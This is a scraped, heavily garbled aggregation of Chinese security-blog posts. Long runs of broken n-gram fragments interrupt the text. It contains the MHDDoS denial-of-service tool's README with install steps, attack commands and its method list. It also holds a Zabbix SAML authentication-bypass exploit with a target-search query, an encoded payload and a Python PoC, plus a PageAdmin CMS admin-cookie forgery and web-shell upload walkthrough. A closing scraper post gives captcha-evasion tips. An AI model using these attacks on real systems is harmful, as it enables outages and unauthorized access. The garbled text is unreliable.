requirements.txt DockerFile docker pull ghcr.io/mhprodev/mhddos:latest 手动安装 python3 -m pip install cfscrape<=2.1.1 python3 -m pip install certifi<=2021.10.8 python3 -m pip install dnspython>=2.2.0 python3 -m pip install requests==2.27.1 python3 -m pip install impacket==0.9.23 python3 -m pip install psutil>=5.9.0 python3 -m pip install icmplib>=2.1.1 python3 -m pip install git+https://github.com/MHProDev/PyRoxy.git python3 -m pip install yarl~=1.7.2 VPS 上的单行安装 apt -y update && apt -y install curl wget libcurl4 libssl-dev python3 python3-pip make cmake automake autoconf m4 build-essential ruby perl golang git && git clone https://github.com/MatrixTM/MHDDoS.git && cd MH* && pip3 install -r requirements.txt 使用方法 视频 Aparat:https ://www.aparat.com/v/bHcP9 教程 Aparat:https ://aparat.com/v/XPn5Z 文档: https://github.com/MatrixTM/MHDDoS/wiki 脚本用法 第七层: python3 start.py <1=method> <2=url> <3=socks_type> <4=threads> <5=proxylist> <6=rpc> <7=duration> <8=debug=optional> 1:方法(攻击类型) 2:目标 URL 或 IP 地址 3:代理版本(代理使用) 4:代理文件(代理文件格式) 5:要使用的线程数(多线程) 6:RPC(请求预连接) 7:持续时间(以秒为单位完成攻击的时间) 8:调试模式(可选) 第 4 层正常: python3 start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=debug=optional> 1:方法(攻击类型) 2:目标 URL 或 IP 地址 3:要使用的线程数(多线程) 4:持续时间(以秒为单位完成攻击的时间) 5:调试模式(可选 –什么是调试模式) 第 4 层代理: python3 start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=socks_type> <6=proxylist> <7=debug=optional> 1:方法(攻击类型) 2:目标 URL 或 IP 地址 3:要使用的线程数(多线程) 4:持续时间(以秒为单位完成攻击的时间) 5:代理版本(代理使用) 6:代理文件(代理文件格式) 7:调试模式(可选) 第 4 层放大: python3 MHDDoS/start.py <1=method> <2=ip:port> <3=threads> <4=duration> <5=reflector file> <6=debug=optional> 1:方法(攻击类型) 2:目标 URL 或 IP 地址 3:要使用的线程数(多线程) 4:持续时间(以秒为单位完成攻击的时间) 5:反射器文件(反射器文件) 6:调试模式(可选) 使用示例 第 7 层(网站): # Running bypass attack from 101 threads, # with socks 5, 100 requests per proxy (connection), for 3600 seconds python start.py bypass https://example.com 5 101 socks5.txt 100 3600 # Running bomb attack from 50 threads (be careful must be < 300) # with all proxies (0), 100 requests per proxy (connection), for 3600 seconds python start.py bomb https://example.com 0 50 proxy.txt 100 3600 第 4 层(服务器/家庭): # Running udp attack from 1 threads, for 3600 seconds python start.py udp 1.1.1.1:53 1 3600 # Running dns attack from 100 threads, for 3600 seconds # with reflector servers from dns.txt, for 3600 seconds python start.py dns 1.1.1.1:53 100 3600 dns.txt # Running minecraft attack from 1000 threads # with socks 5, for 3600 seconds python start.py minecraft 1.1.1.1:53 1000 3600 5 socks5.txt 调试模式(攻击状态日志) python start.py bypass https://example.com 5 1000 socks5.txt 100 100 true python start.py udp 1.1.1.1:53 1 100 true python start.py dns 1.1.1.1:53 1 100 dns.txt true python start.py minecraft 1.1.1.1:53 1 100 5 socks5.txt true 帮助命令: python start.py tools python start.py help 代理支持清单 代理文件格式: <Type>://<Host>:<Port>:<User=Optional>:<Password=Optional> 例如: socks5://1.1.1.1:20001 socks4://1.1.1.1:46527 http://1.1.1.1:443:username:password http://1.1.1.1:80 代理类型 代理类型 参数 所有代理 0 HTTP 1 SOCKS4 4 SOCKS5 5 RANDOM 6 使用代理到第四层的方法 代理类型 MINECRAFT MCBOT MEM RDP NTP TCP ARD VSE SYN UDP CHAR HTTP ✅ ✅ ❌ ❌ ❌ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS4 ✅ ✅ ❌ ❌ ❌ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS5 ✅ ✅ ❌ ❌ ❌ ✅ ❌ ❌ ❌ ❌ ❌ Proxy Type CONNECTION CPS DNS TS3 MCPE CLDAP FIVEM HTTP ✅ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS4 ✅ ✅ ❌ ❌ ❌ ❌ ❌ SOCKS5 ✅ ✅ ❌ ❌ ❌ ❌ ❌ 使用代理到第7层的方法 代理类型 COOKIE BYPASS OVH DGB STRESS DOWNLOADER BOMB NULL AVB GET HTTP ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ SOCKS4 ✅ ✅ ✅ ✅ ✅ ✅ ❌ ✅ ✅ ✅ SOCKS5 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ 代理类型 CFB POST EVEN DYN GSB XMLRPC SLOW BOT PPS CFBUAM APACHE HTTP ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ SOCKS4 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ SOCKS5 ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ ✅ 代理类型 KILLER RHEX STOMP HTTP ✅ ✅ ✅ SOCKS4 ✅ ✅ ✅ SOCKS5 ✅ ✅ ✅ 测试截图 └─# python3 start.py * MHDDoS - DDoS Attack Script With 52 Methods Note: If the Proxy list is empty, the attack will run without proxies If the Proxy file doesn't exist, the script will download proxies and check them. Proxy Type 0 = All in config.json SocksTypes: - 6 = RANDOM - 5 = SOCKS5 - 4 = SOCKS4 - 1 = HTTP - 0 = ALL > Methods: - Layer4 | MINECRAFT, VSE, MCPE, DNS, TCP, CHAR, RDP, MEM, NTP, CONNECTION, CLDAP, CPS, SYN, TS3, MCBOT, FIVEM, ARD, UDP | 18 Methods - Layer7 | GSB, GET, KILLER, APACHE, DGB, NULL, STRESS, COOKIE, XMLRPC, BOT, TOR, HEAD, POST, BYPASS, BOMB, DYN, CFBUAM, OVH, EVEN, SLOW, PPS, DOWNLOADER, AVB, CFB | 24 Methods - Tools | CFIP, DSTAT, PING, INFO, CHECK, DNS, TSSRV | 7 Methods - Others | TOOLS, HELP, STOP | 3 Methods - All 52 Methods Example: L7: python3 start.py <method> <url> <socks_type> <threads> <proxylist> <rpc> <duration> <debug=optional> L4: python3 start.py <method> <ip:port> <threads> <duration> L4 Proxied: python3 start.py <method> <ip:port> <threads> <duration> <socks_type> <proxylist> L4 Amplification: python3 start.py <method> <ip:port> <threads> <duration> <reflector file (only use with Amplification)> 项目地址 GitHub: https://github.com/MatrixTM/MHDDoS 注意 意事 事项 注意事 意事项 注意事项 仅可 可作 作为 为研 研究 究具 具备 备授 授权 权的 的测 测试 试使 使用 仅可作 可作为 作为研 为研究 研究具 究具备 具备授 备授权 授权的 权的测 的测试 测试使 试使用 仅可作为 可作为研 作为研究 为研究具 研究具备 究具备授 具备授权 备授权的 授权的测 权的测试 的测试使 测试使用 未经 经所 所有 有者 者同 同意 未经所 经所有 所有者 有者同 者同意 未经所有 经所有者 所有者同 有者同意 请勿 勿用 用于 于攻 攻击 请勿用 勿用于 用于攻 于攻击 请勿用于 勿用于攻 用于攻击 特点 点和 和方 方法 特点和 点和方 和方法 特点和方 点和方法 洪水 绕过 随机 机十 十六 六进 进制 随机十 机十六 十六进 六进制 随机十六 机十六进 十六进制 发送 送高 高字 字节 节的 发送高 送高字 高字节 字节的 发送高字 送高字节 高字节的 数据 据包 数据包 一种 种带 带有 有随 机子 子域 域的 的新 新方 一种带 种带有 带有随 有随机 随机子 机子域 子域的 域的新 的新方 新方法 一种带有 种带有随 带有随机 有随机子 随机子域 机子域的 子域的新 域的新方 的新方法 种慢 慢读 读数 据的 一种慢 种慢读 慢读数 读数据 数据的 据的新 一种慢读 种慢读数 慢读数据 读数据的 数据的新 据的新方 旧的 空用 用户 户代 代理 理和 空用户 用户代 户代理 代理和 空用户代 用户代理 户代理和 只有 有更 更多 多标 标头 头的 带有更 有更多 更多标 多标头 标头的 带有更多 有更多标 更多标头 多标头的 谷歌 歌项 项目 目屏 屏蔽 蔽绕 谷歌项 歌项目 项目屏 目屏蔽 屏蔽绕 蔽绕过 谷歌项目 歌项目屏 项目屏蔽 目屏蔽绕 屏蔽绕过 防护 护绕 防护绕 护绕过 防护绕过 云绕 云绕过 像谷 歌机 机器 器人 像谷歌 谷歌机 歌机器 机器人 像谷歌机 谷歌机器 歌机器人 阿帕 帕奇 阿帕奇 奇漏 漏洞 帕奇漏 奇漏洞 阿帕奇漏 帕奇漏洞 添加 击模 模式 式下 下的 攻击模 击模式 模式下 式下的 攻击模式 击模式下 模式下的 过正 正常 常的 绕过正 过正常 正常的 绕过正常 过正常的 运行 行多 多个 个线 线程 程来 来杀 杀死 死一 一个 个目 目标 运行多 行多个 多个线 个线程 线程来 程来杀 来杀死 杀死一 死一个 一个目 个目标 运行多个 行多个线 多个线程 个线程来 线程来杀 程来杀死 来杀死一 杀死一个 死一个目 一个目标 过洋 洋葱 葱网 网站 绕过洋 过洋葱 洋葱网 葱网站 绕过洋葱 过洋葱网 洋葱网站 技术 术支 支持 技术支 术支持 技术支持 水绕 洪水绕 水绕过 洪水绕过 用代 理打 打开 开和 和关 关闭 闭连 连接 使用代 用代理 代理打 理打开 打开和 开和关 和关闭 关闭连 闭连接 使用代理 用代理打 代理打开 理打开和 打开和关 开和关闭 和关闭连 关闭连接 回显 显请 请求 求洪 回显请 显请求 请求洪 求洪水 回显请求 显请求洪 请求洪水 开连 打开连 开连接 理打开连 打开连接 协议 状态 放大 我的 的世 世界 界机 人攻 我的世 的世界 世界机 界机器 器人攻 人攻击 我的世界 的世界机 世界机器 界机器人 机器人攻 器人攻击 电荷 荷放 电荷放 荷放大 电荷放大 扩增 远程 程桌 桌面 面放 大攻 远程桌 程桌面 桌面放 面放大 放大攻 大攻击 远程桌面 程桌面放 桌面放大 面放大攻 放大攻击 面协 议放 桌面协 面协议 协议放 议放大 程桌面协 桌面协议 面协议放 协议放大 议放大攻 工具 查找 找由 查找由 提供 供支 持的 的网 站的 的真 真实 提供支 供支持 支持的 持的网 的网站 网站的 站的真 的真实 提供支持 供支持的 支持的网 持的网站 的网站的 网站的真 站的真实 地址 显示 示站 站点 点的 显示站 示站点 站点的 显示站点 示站点的 记录 解析 析器 解析器 服务 务器 服务器 检查 查网 站状 检查网 查网站 网站状 站状态 检查网站 查网站状 网站状态 示接 接收 收的 的字 节数 显示接 示接收 接收的 收的字 的字节 字节数 显示接收 示接收的 接收的字 收的字节 的字节数 送的 数及 及其 其数 数量 发送的 送的字 节数及 数及其 及其数 其数量 发送的字 送的字节 字节数及 节数及其 数及其数 及其数量 其他 停止 止所 有攻 停止所 止所有 所有攻 有攻击 停止所有 止所有攻 所有攻击 控制 制台 台工 控制台 制台工 台工具 控制台工 制台工具 示使
  8. 国内外,看你怎么选择。 国内 内外 国内外 看你 你怎 怎么 么选 选择 看你怎 你怎么 怎么选 么选择 看你怎么 你怎么选 怎么选择
  9. 一、简介 zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。 zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台上。 该漏洞源于在启用 saml SSO 身份验证(非默认)的情况下,未身份验证的攻击者可以修改会话数据,成功绕过前台进入后台,因为存储在会话中的用户登录未经过验证。 漏洞的限制条件:需要启用 SAML 身份验证,并且攻击者必须知道 Zabbix 用户的用户名。 二、FOFA语法 app=“ZABBIX-监控系统” && body=“SAML” 三、复现流程 1、通过fofa语法搜索zabbix资产访问首页获取set-cookie中zbx_session参数的值 2、通过Url解码和Base64解码获得zbx_session参数Json格式数据 {"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="} 3、通过在Json中添加saml_data和username_attribute参数后重新Base64编码和Url编码构造Payload {"saml_data":{"username_attribute":"Admin"},"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg\/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="} 4、把构造好的payload进行base64编码和url编码 %65%79%4a%7a%59%57%31%73%58%32%52%68%64%47%45%69%4f%6e%73%69%64%58%4e%6c%63%6d%35%68%62%57%56%66%59%58%52%30%63%6d%6c%69%64%58%52%6c%49%6a%6f%69%51%57%52%74%61%57%34%69%66%53%77%69%63%32%56%7a%63%32%6c%76%62%6d%6c%6b%49%6a%6f%69%4e%6a%64%6d%4e%7a%45%7a%4e%54%56%6c%59%6a%6b%32%4d%54%49%78%5a%6a%4d%34%4e%47%56%68%4d%44%55%33%4d%54%49%35%4d%47%5a%68%59%32%45%69%4c%43%4a%7a%61%57%64%75%49%6a%6f%69%56%58%6c%78%4d%6b%4a%59%55%57%5a%6c%4e%55%6c%31%5a%7a%52%56%51%6e%42%31%59%33%64%78%4d%31%42%59%51%57%31%57%61%44%42%6a%64%48%42%53%4e%48%42%32%52%57%5a%36%5a%31%77%76%54%31%64%6c%4e%31%52%4c%61%47%31%42%55%57%52%78%65%58%55%31%61%56%56%74%64%46%64%36%55%56%49%72%4d%47%30%7a%4d%32%56%52%51%6b%68%75%61%7a%46%57%56%69%74%4a%54%7a%42%70%59%30%46%52%50%54%30%69%66%51%3d%3d 5、请求index_sso.php,在http请求头中构造payload,将zbx_session的值替换为url编码后的payload 6、成功登录后台 可利用poc直接获取构造后的payload poc: import requests import re import urllib.parse import base64 import json import sys def exp(target, username): resp = requests.get(url=target, verify=False) cookie = resp.headers.get("Set-Cookie") zbx_session = re.findall(r"zbx_session=(.*?); ", cookie) url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8') base64_decode_data = base64.b64decode(url_decode_data) decode_to_str = str(base64_decode_data, encoding='utf-8') to_json = json.loads(decode_to_str) tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"]) payloadJson = json.dumps(tmp_ojb) print("decode_payload:", payloadJson) payload = urllib.parse.quote(base64.b64encode(payloadJson.encode())) print("zbx_signed_session:", payload) if __name__ == "__main__": if len(sys.argv) != 3: print("argv error") exit(0) target = sys.argv[1] username = sys.argv[2] exp(target, username) 简介 是一 一个 个基 基于 是一个 一个基 个基于 是一个基 一个基于 界面 面的 的提 提供 供分 分布 布式 式系 系统 统监 监视 视以 以及 及网 网络 络监 视功 功能 能的 的企 企业 业级 级的 的开 开源 源解 解决 决方 方案 界面的 面的提 的提供 提供分 供分布 分布式 布式系 式系统 系统监 统监视 监视以 视以及 以及网 及网络 网络监 络监视 监视功 视功能 功能的 能的企 的企业 企业级 业级的 级的开 的开源 开源解 源解决 解决方 决方案 界面的提 面的提供 的提供分 提供分布 供分布式 分布式系 布式系统 式系统监 系统监视 统监视以 监视以及 视以及网 以及网络 及网络监 网络监视 络监视功 监视功能 视功能的 功能的企 能的企业 的企业级 企业级的 业级的开 级的开源 的开源解 开源解决 源解决方 解决方案 能监 视各 各种 种网 络参 参数 能监视 监视各 视各种 各种网 种网络 网络参 络参数 能监视各 监视各种 视各种网 各种网络 种网络参 网络参数 保证 证服 服务 务器 器系 统的 的安 安全 全运 运营 保证服 证服务 服务器 务器系 器系统 系统的 统的安 的安全 安全运 全运营 保证服务 证服务器 服务器系 务器系统 器系统的 系统的安 统的安全 的安全运 安全运营 并提 供灵 灵活 活的 的通 通知 知机 机制 制以 以让 让系 统管 管理 理员 员快 快速 速定 定位 并提供 提供灵 供灵活 灵活的 活的通 的通知 通知机 知机制 机制以 制以让 以让系 让系统 系统管 统管理 管理员 理员快 员快速 快速定 速定位 并提供灵 提供灵活 供灵活的 灵活的通 活的通知 的通知机 通知机制 知机制以 机制以让 制以让系 以让系统 让系统管 系统管理 统管理员 管理员快 理员快速 员快速定 快速定位 决存 存在 在的 的各 种问 问题 解决存 决存在 存在的 在的各 的各种 各种问 种问题 解决存在 决存在的 存在的各 在的各种 的各种问 各种问题 可以 以通 通过 可以通 以通过 可以通过 端口 口监 视等 等方 方法 法提 供对 对远 远程 程服 端口监 口监视 监视等 视等方 等方法 方法提 法提供 提供对 供对远 对远程 远程服 程服务 端口监视 口监视等 监视等方 视等方法 等方法提 方法提供 法提供对 提供对远 供对远程 对远程服 远程服务 程服务器 络状 状态 态的 的监 网络状 络状态 状态的 态的监 的监视 网络状态 络状态的 状态的监 态的监视 数据 据收 收集 集等 等功 数据收 据收集 收集等 集等功 等功能 数据收集 据收集等 收集等功 集等功能 它可 以运 运行 行在 它可以 可以运 以运行 运行在 它可以运 可以运行 以运行在 等平 平台 台上 等平台 平台上 等平台上 该漏 漏洞 洞源 源于 于在 在启 启用 该漏洞 漏洞源 洞源于 源于在 于在启 在启用 该漏洞源 漏洞源于 洞源于在 源于在启 于在启用 身份 份验 验证 身份验 份验证 身份验证 非默 默认 非默认 的情 情况 况下 的情况 情况下 的情况下 未身 证的 的攻 攻击 击者 者可 以修 修改 改会 会话 话数 未身份 验证的 证的攻 的攻击 攻击者 击者可 者可以 可以修 以修改 修改会 改会话 会话数 话数据 未身份验 份验证的 验证的攻 证的攻击 的攻击者 攻击者可 击者可以 者可以修 可以修改 以修改会 修改会话 改会话数 会话数据 成功 功绕 绕过 过前 前台 台进 进入 入后 后台 成功绕 功绕过 绕过前 过前台 前台进 台进入 进入后 入后台 成功绕过 功绕过前 绕过前台 过前台进 前台进入 台进入后 进入后台 因为 为存 存储 储在 在会 话中 中的 的用 用户 户登 登录 录未 未经 经过 过验 因为存 为存储 存储在 储在会 在会话 会话中 话中的 中的用 的用户 用户登 户登录 登录未 录未经 未经过 经过验 过验证 因为存储 为存储在 存储在会 储在会话 在会话中 会话中的 话中的用 中的用户 的用户登 用户登录 户登录未 登录未经 录未经过 未经过验 经过验证 洞的 的限 限制 制条 条件 漏洞的 洞的限 的限制 限制条 制条件 漏洞的限 洞的限制 的限制条 限制条件 需要 要启 需要启 要启用 需要启用 并且 且攻 者必 必须 须知 知道 并且攻 且攻击 击者必 者必须 必须知 须知道 并且攻击 且攻击者 攻击者必 击者必须 者必须知 必须知道 户的 户名 用户的 户的用 用户名 用户的用 户的用户 的用户名 语法 监控 控系 监控系 控系统 监控系统 复现 现流 流程 复现流 现流程 复现流程 法搜
  10. 0x00前言 这是上周hw中遇到的一个cms,记录一下,防止以后遇到忘记利用点(手动狗头) 0x01介绍 PageAdmin Cms是一款基于asp.net mvc开发的自助建站系统,于2008年发布,从最开始的2.0版本到目前的4.0版本,强大的后台管理功能,良好的用户操作体验,开发式的功能扩展,让各种类型网站制作更加便捷和灵活。 0x02开搞!!! 网页内容太多,全码了 往下滑,一般会底部写着PageAdmin cms 直接+一手master看是不是常规后台 很显然不是,御剑大法好,开梭 进后台页面测试弱口令,默认用户为admin 简单测试了几个弱口令,一般是不存在了,直接利用百度出来的exp冲一波(乌云大表哥的)。 exp:Master=1&LoginProcess=1&UserName=admin&LOginDate=1&Valicate=12b36e45c2df117d12a068814d826283f9c32f845e1589142208628b13f&Permissions=1 在后台登陆页面的控制栏中加入document.cookie=”exp”,回车后访问index.aspx 进入之后找利用点getshell咯,看网上表哥的文章说是阉割版,主流的增加专题getshell我直接排除了,利用表哥新思路。 自定义表单->增加新表单(输入表单名称) 之后点击字段管理、增加字段, 输入字段标题、字段名称、表单数据(文件file)、允许扩展名输入.asxh, 然后点击增加 这里可以直接上传.ashx文件,上传aspx会直接删掉。 绝绝子,干了一天活,文章没写完,人家把后台给给改名了,也没扫出来!!!!!!!!! 总的来说上传.ashx文件,然后检测如果带有page字样会上传不成功,这里选择不带有page字样的马。 这里我用的是一个cmd马(马被删了,绝绝子,没有截图了),就到这了。 前言 这是 是上 上周 这是上 是上周 这是上周 中遇 遇到 到的 的一 一个 中遇到 遇到的 到的一 的一个 中遇到的 遇到的一 到的一个 记录 录一 一下 记录一 录一下 记录一下 防止 止以 以后 后遇 到忘 忘记 记利 利用 用点 防止以 止以后 以后遇 后遇到 遇到忘 到忘记 忘记利 记利用 利用点 防止以后 止以后遇 以后遇到 后遇到忘 遇到忘记 到忘记利 忘记利用 记利用点 手动 动狗 狗头 手动狗 动狗头 手动狗头 介绍 是一 一款 款基 基于 是一款 一款基 款基于 是一款基 一款基于 开发 发的 的自 自助 助建 建站 站系 系统 开发的 发的自 的自助 自助建 助建站 建站系 站系统 开发的自 发的自助 的自助建 自助建站 助建站系 建站系统 年发 发布 年发布 从最 最开 开始 始的 从最开 最开始 开始的 从最开始 最开始的 版本 本到 到目 目前 前的 版本到 本到目 到目前 目前的 版本到目 本到目前 到目前的 强大 大的 的后 后台 台管 管理 理功 功能 强大的 大的后 的后台 后台管 台管理 管理功 理功能 强大的后 大的后台 的后台管 后台管理 台管理功 管理功能 良好 好的 的用 用户 户操 操作 作体 体验 良好的 好的用 的用户 用户操 户操作 操作体 作体验 良好的用 好的用户 的用户操 用户操作 户操作体 操作体验 发式 式的 的功 能扩 扩展 开发式 发式的 式的功 的功能 功能扩 能扩展 开发式的 发式的功 式的功能 的功能扩 功能扩展 让各 各种 种类 类型 型网 网站 站制 制作 作更 更加 加便 便捷 捷和 和灵 灵活 让各种 各种类 种类型 类型网 型网站 网站制 站制作 制作更 作更加 更加便 加便捷 便捷和 捷和灵 和灵活 让各种类 各种类型 种类型网 类型网站 型网站制 网站制作 站制作更 制作更加 作更加便 更加便捷 加便捷和 便捷和灵 捷和灵活 开搞 网页 页内 内容 容太 太多 网页内 页内容 内容太 容太多 网页内容 页内容太 内容太多 全码 码了 全码了 往下 下滑 往下滑 一般 般会 会底 底部 部写 写着 一般会 般会底 会底部 底部写 部写着 一般会底 般会底部 会底部写 底部写着 直接 一手 看是 是不 不是 是常 常规 规后 看是不 是不是 不是常 是常规 常规后 规后台 看是不是 是不是常 不是常规 是常规后 常规后台 很显 显然 然不 很显然 显然不 然不是 很显然不 显然不是 御剑 剑大 大法 法好 御剑大 剑大法 大法好 御剑大法 剑大法好 开梭 进后 台页 页面 面测 测试 试弱 弱口 口令 进后台 后台页 台页面 页面测 面测试 测试弱 试弱口 弱口令 进后台页 后台页面 台页面测 页面测试 面测试弱 测试弱口 试弱口令 默认 认用 户为 默认用 认用户 用户为 默认用户 认用户为 简单 单测 试了 了几 几个 个弱 简单测 单测试 测试了 试了几 了几个 几个弱 个弱口 简单测试 单测试了 测试了几 试了几个 了几个弱 几个弱口 个弱口令 般是 不存 存在 在了 一般是 般是不 是不存 不存在 存在了 一般是不 般是不存 是不存在 不存在了 接利 用百 百度 度出 出来 来的 直接利 接利用 利用百 用百度 百度出 度出来 出来的 直接利用 接利用百 利用百度 用百度出 百度出来 度出来的 冲一 一波 冲一波 乌云 云大 大表 表哥 哥的 乌云大 云大表 大表哥 表哥的 乌云大表 云大表哥 大表哥的 在后 台登 登陆 陆页 面的 的控 控制 制栏 栏中 中加 加入 在后台 后台登 台登陆 登陆页 陆页面 页面的 面的控 的控制 控制栏 制栏中 栏中加 中加入 在后台登 后台登陆 台登陆页 登陆页面 陆页面的 页面的控 面的控制 的控制栏 控制栏中 制栏中加 栏中加入 回车 车后 后访 访问 回车后 车后访 后访问 回车后访 车后访问 进入 入之 之后 后找 找利 进入之 入之后 之后找 后找利 找利用 进入之后 入之后找 之后找利 后找利用 找利用点 看网 网上 上表 的文 文章 章说 说是 是阉 阉割 割版 看网上 网上表 上表哥 哥的文 的文章 文章说 章说是 说是阉 是阉割 阉割版 看网上表 网上表哥 上表哥的 表哥的文 哥的文章 的文章说 文章说是 章说是阉 说是阉割 是阉割版 主流 流的 的增 增加 加专 专题 主流的 流的增 的增加 增加专 加专题 主流的增 流的增加 的增加专 增加专题 我直 接排 排除 除了 我直接 直接排 接排除 排除了 我直接排 直接排除 接排除了 用表 哥新 新思 思路 利用表
  11. 一直想爬微信公众号然后整成一个bot。试过好几次 最终都以失败告终。昨天折腾了一晚上,利用搜狗的微信爬取弄好了 爬取的方法 网上能搜到的爬取方法: 微信公众号平台接口抓取|限制:微信KEY有限制,30-40分钟内就会过期。请求次数超过10-20次被封 搜狗公众号爬取 | 缺陷:只能获取公众号最新更新的一条文章 爬取实现 这里是用第二种方法,方法如下 搜狗微信公众号搜索对应公众号:https://weixin.sogou.com/weixin?type=1&query=bibacps&ie=utf8 获取文章链接 然后请求这个链接得到wx文章的链接 经过测试,发现并无cookie等效验。访问https://weixin.sogou.com/<sougou_wx_lnk>就可以获取wx文章url。但是,请求次数太多就会出现验证码,只有cookie对了才不会有验证码 google后得到解决方法: 随机UA头 每次请求之前先获取搜狗子域名cookie 参考链接:https://blog.csdn.net/weixin_43881394/article/details/107768458 获取子域名cookie import requests def getcookie(): #从搜狗视频获取cookie,防止傻逼搜狗机制检测 url = 'https://v.sogou.com/v?ie=utf8&query=&p=40030600' headers = {'User-Agent': UserAgent().random} rst = requests.get(url=url,headers=headers,allow_redirects=False) cookies = rst.cookies.get_dict() return cookies 爬取到wx文章链接后入库 最终效果如下 Github:https://github.com/422926799/note/tree/master/%E8%87%AA%E5%B7%B1%E5%86%99%E7%9A%84%E5%B7%A5%E5%85%B7/%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E7%88%AC%E5%8F%96 爬虫小技巧 爬取大型站点(例如:google.com) 可能会遇到的问题: * 请求次数过多导致验证码 * Cookie判断是否多次请求 解决发方法 * 随机IP代理 * 随机UA头 * SESSION请求 * 针对Cookie判断是否多次请求 (这种大型站点cookie生成机制都是一致的,可以请求这种站点的子域名获取cookie。每次请求之前,先从子域名获取cookie然后在用这个cookie请求要爬取的站点) * 延时请求 遇见CSRF TOKEN效验 * TOKEN效验 * COOKIE效验 解决方法: * 这种CRSF TOKEN一般在当前页面存在TOKEN,先获取TOKEN在去请求 指定某个地区的IP请求 解决方法: * 使用对应地区的IP请求 一直 直想 想爬 爬微 微信 信公 公众 众号 号然 然后 后整 整成 成一 一个 一直想 直想爬 想爬微 爬微信 微信公 信公众 公众号 众号然 号然后 然后整 后整成 整成一 成一个 一直想爬 直想爬微 想爬微信 爬微信公 微信公众 信公众号 公众号然 众号然后 号然后整 然后整成 后整成一 整成一个 试过 过好 好几 几次 试过好 过好几 好几次 试过好几 过好几次 最终 终都 都以 以失 失败 败告 告终 最终都 终都以 都以失 以失败 失败告 败告终 最终都以 终都以失 都以失败 以失败告 失败告终 昨天 天折 折腾 腾了 了一 一晚 晚上 昨天折 天折腾 折腾了 腾了一 了一晚 一晚上 昨天折腾 天折腾了 折腾了一 腾了一晚 了一晚上 利用 用搜 搜狗 狗的 的微 信爬 爬取 取弄 弄好 好了 利用搜 用搜狗 搜狗的 狗的微 的微信 微信爬 信爬取 爬取弄 取弄好 弄好了 利用搜狗 用搜狗的 搜狗的微 狗的微信 的微信爬 微信爬取 信爬取弄 爬取弄好 取弄好了 取的 的方 方法 爬取的 取的方 的方法 爬取的方 取的方法 网上 上能 能搜 搜到 到的 的爬 取方 网上能 上能搜 能搜到 搜到的 到的爬 的爬取 爬取方 取方法 网上能搜 上能搜到 能搜到的 搜到的爬 到的爬取 的爬取方 爬取方法 号平 平台 台接 接口 口抓 抓取 众号平 号平台 平台接 台接口 接口抓 口抓取 公众号平 众号平台 号平台接 平台接口 台接口抓 接口抓取 限制 有限 有限制 分钟 钟内 内就 就会 会过 过期 分钟内 钟内就 内就会 就会过 会过期 分钟内就 钟内就会 内就会过 就会过期 请求 求次 次数 数超 超过 请求次 求次数 次数超 数超过 请求次数 求次数超 次数超过 次被 被封 次被封 狗公 号爬 搜狗公 狗公众 众号爬 号爬取 搜狗公众 狗公众号 公众号爬 众号爬取 缺陷 只能 能获 获取 取公 号最 最新 新更 更新 新的 的一 一条 条文 文章 只能获 能获取 获取公 取公众 众号最 号最新 最新更 新更新 更新的 新的一 的一条 一条文 条文章 只能获取 能获取公 获取公众 取公众号 公众号最 众号最新 号最新更 最新更新 新更新的 更新的一 新的一条 的一条文 一条文章 取实 实现 爬取实 取实现 爬取实现 这里 里是 是用 用第 第二 二种 种方 这里是 里是用 是用第 用第二 第二种 二种方 种方法 这里是用 里是用第 是用第二 用第二种 第二种方 二种方法 法如 如下 方法如 法如下 方法如下 狗微 号搜 搜索 索对 对应 应公 搜狗微 狗微信 众号搜 号搜索 搜索对 索对应 对应公 应公众 搜狗微信 狗微信公 公众号搜 众号搜索 号搜索对 搜索对应 索对应公 对应公众 应公众号 取文 章链 链接 获取文 取文章 文章链 章链接 获取文章 取文章链 文章链接 后请 求这 这个 个链 接得 得到 然后请 后请求 请求这 求这个 这个链 个链接 链接得 接得到 然后请求 后请求这 请求这个 求这个链 这个链接 个链接得 链接得到 章的 的链 文章的 章的链 的链接 文章的链 章的链接 经过 过测 测试 经过测 过测试 经过测试 发现 现并 并无 发现并 现并无 发现并无 等效 效验 等效验 访问 就可 可以 以获 就可以 可以获 以获取 就可以获 可以获取 但是 数太 太多 多就 会出 出现 现验 验证 证码 次数太 数太多 太多就 多就会 就会出 会出现 出现验 现验证 验证码 求次数太 次数太多 数太多就 太多就会 多就会出 就会出现 会出现验 出现验证 现验证码 只有 对了 了才 才不 不会 会有 有验 对了才 了才不 才不会 不会有 会有验 有验证 对了才不 了才不会 才不会有 不会有验 会有验证 有验证码 后得 到解 解决 决方 后得到 得到解 到解决 解决方 决方法 后得到解 得到解决 到解决方 解决方法 随机 每次 次请 求之 之前 前先 先获 取搜 狗子 子域 域名 每次请 次请求 请求之 求之前 之前先 前先获 先获取 获取搜 取搜狗 搜狗子 狗子域 子域名 每次请求 次请求之 请求之前 求之前先 之前先获 前先获取 先获取搜 获取搜狗 